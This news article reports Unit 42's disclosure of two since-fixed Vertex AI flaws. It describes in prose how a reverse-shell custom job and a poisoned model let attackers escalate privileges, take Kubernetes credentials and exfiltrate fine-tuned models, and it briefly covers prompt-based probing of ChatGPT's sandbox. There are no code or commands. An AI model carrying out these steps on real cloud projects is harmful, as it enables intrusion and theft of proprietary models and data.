Cybersecurity researchers have uncovered two critical security flaws in Google’s Vertex machine learning (ML) platform that, if exploited, could allow attackers to escalate privileges and exfiltrate sensitive models from the cloud.
“By exploiting custom job permissions, we were able to escalate our privileges and gain unauthorized access to all data services in the project,” explained Palo Alto Networks Unit 42 researchers Ofir Balassiano and Ofir Shaty in a recent analysis. “Deploying a poisoned model in Vertex AI led to the exfiltration of all other fine-tuned models, posing a serious risk of proprietary and sensitive data exfiltration.”
Vertex AI is Google’s ML platform designed for training and deploying custom ML models and artificial intelligence (AI) applications at scale, introduced in May 2021.
Key Vulnerabilities
Central to the privilege escalation flaw is a feature called Vertex AI Pipelines, which enables users to automate and monitor MLOps workflows for training and tuning ML models using custom jobs.
Unit 42’s research demonstrated that by manipulating the custom job pipeline, attackers can escalate privileges to access restricted resources. This is achieved by creating a custom job that runs a specially-crafted image designed to launch a reverse shell, providing backdoor access to the environment.
The custom job operates in a tenant project with a service agent account that has extensive permissions to list all service accounts, manage storage buckets, and access BigQuery tables. These permissions can be exploited to access internal Google Cloud repositories and download images.
The second vulnerability involves deploying a poisoned model in a tenant project, creating a reverse shell when deployed to an endpoint. Attackers can then abuse the read-only permissions of the “custom-online-prediction” service account to enumerate Kubernetes clusters and retrieve their credentials, enabling arbitrary kubectl commands.
“This step allowed us to transition from the GCP realm into Kubernetes,” the researchers noted. “This lateral movement was facilitated by permissions linked between GCP and GKE through IAM Workload Identity Federation.”
The analysis further revealed that access could be used to view the newly created image within the Kubernetes cluster and obtain the image digest, which uniquely identifies a container image. This allows attackers to extract the image outside the container using crictl with the authentication token associated with the “custom-online-prediction” service account.
Potential Implications
Moreover, the malicious model could be weaponized to view and export all large-language models (LLMs) and their fine-tuned adapters similarly.
This poses severe risks when a developer unknowingly deploys a trojanized model uploaded to a public repository, allowing threat actors to exfiltrate all ML and fine-tuned LLMs. Following responsible disclosure, Google has addressed both vulnerabilities.
“This research underscores how a single malicious model deployment could compromise an entire AI environment,” the researchers emphasized. “An attacker could use even one unverified model deployed on a production system to exfiltrate sensitive data, leading to severe model exfiltration attacks.”
Recommendations
Organizations are advised to implement strict controls on model deployments and audit permissions required for deploying a model in tenant projects.
Recent Developments
In related news, Mozilla’s 0Day Investigative Network (0Din) disclosed that it’s possible to interact with OpenAI ChatGPT’s underlying sandbox environment via prompts, enabling the upload and execution of Python scripts, file movements, and downloading the LLM’s playbook.
OpenAI considers such interactions as intentional behavior, given that code execution occurs within the sandbox and is unlikely to spill out.
Security researcher Marco Figueroa noted, “For those eager to explore OpenAI’s ChatGPT sandbox, it’s crucial to understand that most activities within this containerized environment are intended features rather than security gaps. Extracting knowledge, uploading files, running bash commands, or executing Python code within the sandbox are all fair game, as long as they don’t cross the invisible lines of the container.”
By adhering to strict security protocols and staying informed about potential vulnerabilities, organizations can better protect their AI and ML environments from evolving cyber threats.
